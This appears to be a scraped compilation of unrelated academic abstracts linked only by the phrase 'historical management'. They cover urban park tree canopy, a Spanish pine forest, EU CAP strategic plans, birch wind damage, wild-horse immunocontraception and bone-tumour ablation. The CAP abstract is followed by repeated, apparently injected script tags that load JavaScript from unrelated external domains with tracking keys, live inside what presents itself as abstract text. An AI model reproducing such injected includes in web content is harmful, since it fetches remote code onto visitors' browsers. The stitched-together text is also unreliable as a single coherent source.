Linking Tree Cover Change to Historical Management Practices in Urban Parks

ContextUrban parks provide critical ecological, health, and social benefits, constituting a substantial proportion of urban tree canopy (UTC) within a given city. As cities set ambitious UTC targets, it is critical to understand the social drivers of UTC changes in parks. ObjectivesWe sought to uncover the feedbacks between social processes, including historical events, and park UTC in a post-industrial city that experienced substantial population loss and urban park disinvestment. Methods Our mixed-methods approach involved quantifying spatiotemporal UTC changes and connecting those changes to historical management practices for three parks in Philadelphia, PA (US). We delineated UTC using aerial imagery between 1959 and 2018, and synthesized information from archival records and semi-structured interviews about historical management practices. ResultsWe found substantial UTC gains between 1959 and 1980, due to both: (a) budget cuts, mowing cessation, and associated unintended forest emergence; and (b) purposeful tree planting and reforestation activities. While some UTC gains were purposeful, others were unintentional and reflect successional processes on unmaintained lands. Contrary to literature suggesting that financial investment would lead to UTC gain, we saw declining UTC following an influx of new funding post-2000 due to construction and ecological restoration. ConclusionsWe found differing pathways leading to convergent outcomes of UTC gains. Across the three parks, differing historical processes and management goals for park landscapes had important ramifications for UTC. Our work suggests that landscape management could benefit from an improved understanding of how historical processes impact land cover.

Resilience as a Moving Target: An Evaluation of Last Century Management Strategies in a Dry-Edge Maritime Pine Ecosystem

Forests are intrinsically coupled to human dynamics, both temporally and spatially. This evolution is conditioned by global changes in climatic conditions (teleconnections) and distant socio-economical processes (telecoupling). The main goal of this study is to describe the teleconnections and telecoupling dynamics that have shaped structure and processes in a dry-edge—highly vulnerable to desertification—Mediterranean pine forest during the last century and to evaluate the contribution of historical management strategies to this coupled human and natural system’s (CHANS) overall resilience. For this study, we collected relevant human and natural system data from a dry edge Pinus pinaster Ait. located forest in Central Spain using a CHANS analytical framework operationalizing telecoupling and teleconnection. A key extractive economic activity in the studied forest was resin tapping, which was the main form of land use from the 1920s to the 1950s. Since the 1950s changes in the Spanish economy linked to the emergence of new resin-producing countries, such as China, led to a sharp decline in resin production. Despite additional human system transformations affecting forest governance (e.g., the Spanish Civil War, the transition to democracy, European integration, etc.) and changes in biophysical conditions linked to climate change (e.g., aridification, CO2 fertilization), the standing stocks of P. pinaster increased during the monitoring period due to sound technical and management planning bolstering overall resilience. These historical management decisions, we argue, successfully reconciled overall resilience goals (defined as the maintenance of forest function beyond and desertification avoidance) with three successive historical forest use challenges: intensive firewood collection by local communities in fragile sandy soils, extensive pastoralism in the forest understory and tradeoffs between resin tapping damaged trees, timber production and tree cover as well as the emerging risks of wildfire and climate change.

The new delivery model of the CAP: Some relevant issues

<div><div><p>A key element of the European Commission´s proposal for the post-2020 CAP is the re-quirement for the EU Member States to present their proposed interventions in the form of a Strategic Plan. We addresses six sensitive issues: Similarities between the new architecture and the Rural Development historical management; performance reserve and duration of the financial perspectives; declared ambitions for the Strategic Plans; lengths of those Plans and an administrative challenge, in Spain and perhaps in other Member states. Our conclusion is that a real change is achievable but we should give time to time and that a step-by-step implementation is advisable.</p></div></div><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1578922923595"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1583929298033"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script>

INFLUENCE OF TREE SPECIES MIXTURE TO REDUCE WIND DAMAGES IN BIRCH STANDS

Climate change is linked to increase in frequency and/or severity of different damages in forest stands. Birch (Betula spp.) stands can be significantly affected by wind and snow (freezing rain). Aim of our study was to assess, if admixture of other tree species reduces the proportion of damaged trees in birch stands. Data from total of 836 sample plots (size 500m2) in birch stands at the age of up to 81 year were analysed. Among the mixed sands (MS) and pure stands (PS >80% of single tree species), the mean proportion (± confidence interval) of damage was assessed from the total number (TN) and basal area (BA) of overstory (first layer) trees. MS were further assessed in two groups – one or more species in admixture (MS+1 and MS+2). The proportion of mixed birch stands was increasing with age: from average of 21% at the age of up to 20 years to 64% at the age of 61-70 years, most likely do to difference in historical management. In period between the 1950th and 1990th, birch was considered as undesirable species and the older stands formed mainly due to low survival of coniferous trees and natural ingrowth of birch, whereas starting from the 1990th birch was more widely recognized and used as target species. Proportion of undamaged birch trees (both, when assessed as TN or BA) was not significantly different between MS and PS. Also presence of second layer trees did not affect the proportion of damaged overstory trees significantly. There were significant differences among the groups of mixed stands: more wind or snow damaged trees were found in certain age groups in stands with more than one admixture species present. Creating a mixed birch stands in comparison to pure stands of the same tree species may not result in lower frequency of damaged trees, thus this approach cannot be automatically recommended as a tool for adaptation to climate change

Efficacy of dart-delivered PZP-22 immunocontraceptive vaccine in wild horses (Equus caballus) in baited traps in New Mexico, USA

Context Federally protected wild horses on public lands are undergoing population growth that overwhelms the historical management strategy of removal and adoption. Porcine zona pellucida (PZP) has been used as an injectable immunocontraceptive vaccine to induce reversible infertility in free-roaming horses. PZP vaccination during February and March, which is the optimal time for administering current vaccines, is not possible for the herd on Jarita Mesa Wild Horse Territory (JM WHT), New Mexico, due to severe weather, terrain and subject wariness. AimsThe first goal was to assess bait trapping and remote darting as a minimally disruptive alternative to helicopter gathers for treatment. The second goal was to quantify the efficacy over 2 years following spring treatment with a single injection of PZP-22 (a combination of PZP-adjuvant emulsion and controlled-release pellets) by remote dart delivery. Methods Bait trapping and dart delivery of PZP-22 was carried out on JM WHT from 4 April to 16 June 2012. The herd was observed in the summers of 2011, 2013 and 2014 to determine the foaling status of the study mares. Outcome (foal or no foal) as a function of treatment was analysed using Fisher’s exact test. Key resultsThere were 157 individuals, including 66 females &gt;1 year old, documented in 2011. In 2012, 26 females (including three yearlings) identified by colour and markings were bait trapped and darted with PZP-22. The proportion of treated females foaling was lower than that of untreated females in 2013 and 2014, but the difference was only significant in 2013. Of the treated mares observed in 2013, the two that foaled were the last two treated in 2012. Untreated mares &gt;4 years old were significantly more likely to foal than younger mares. Conclusions Bait trapping at JM WHT permitted successful delivery of PZP-22 in a previously inaccessible herd. Dart administration of PZP-22 in April–June induced at least 1 year of measurable infertility. Implications This is the first demonstration of the efficacy of an initial treatment of PZP-22 delivered by dart instead of hand injection. Considerations for PZP-22 treatment include seasonal timing of treatments and age of treated mares. Treatments need to take place early enough to allow antibody titers to build to contraceptive levels before the breeding season.

Percutaneous Treatments of Benign Bone Tumors

Benign bone tumors consist of a wide variety of neoplasms that do not metastasize but can still cause local complications. Historical management of these tumors has included surgical treatment for lesion resection and possible mechanical stabilization. Initial percutaneous ablation techniques were described for osteoid osteoma management. The successful experience from these resulted in further percutaneous image-guided techniques being attempted, and in other benign bone tumor types. In this article, we present the most common benign bone tumors and describe the available results for the percutaneous treatment of these lesions.